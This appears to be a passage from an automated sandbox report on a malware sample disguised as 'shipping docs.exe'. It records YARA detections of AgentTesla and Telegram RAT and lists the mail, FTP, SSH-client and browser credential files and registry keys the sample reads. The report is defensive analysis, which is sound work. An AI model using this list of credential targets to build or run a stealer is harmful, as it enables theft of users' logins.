Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Users\user\Desktop\shipping docs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\shipping docs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Telegram RAT

Source: Yara match	File source: 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: shipping docs.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yVGAJfiVEvtg.exe PID: 3680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VMqTMMD.exe PID: 5228, type: MEMORYSTR

Yara detected AgentTesla

Source: Yara match	File source: 3.0.shipping docs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.shipping docs.exe.35d2730.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.shipping docs.exe.35d2730.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.270616747.00000000034A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.262419819.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: shipping docs.exe PID: 2400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: shipping docs.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yVGAJfiVEvtg.exe PID: 3680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VMqTMMD.exe PID: 5228, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\shipping docs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\shipping docs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Source: Yara match	File source: 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: shipping docs.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yVGAJfiVEvtg.exe PID: 3680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VMqTMMD.exe PID: 5228, type: MEMORYSTR

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match	File source: 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: shipping docs.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yVGAJfiVEvtg.exe PID: 3680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VMqTMMD.exe PID: 5228, type: MEMORYSTR

Yara detected AgentTesla

Source: Yara match	File source: 3.0.shipping docs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.shipping docs.exe.35d2730.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.shipping docs.exe.35d2730.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.270616747.00000000034A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.262419819.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
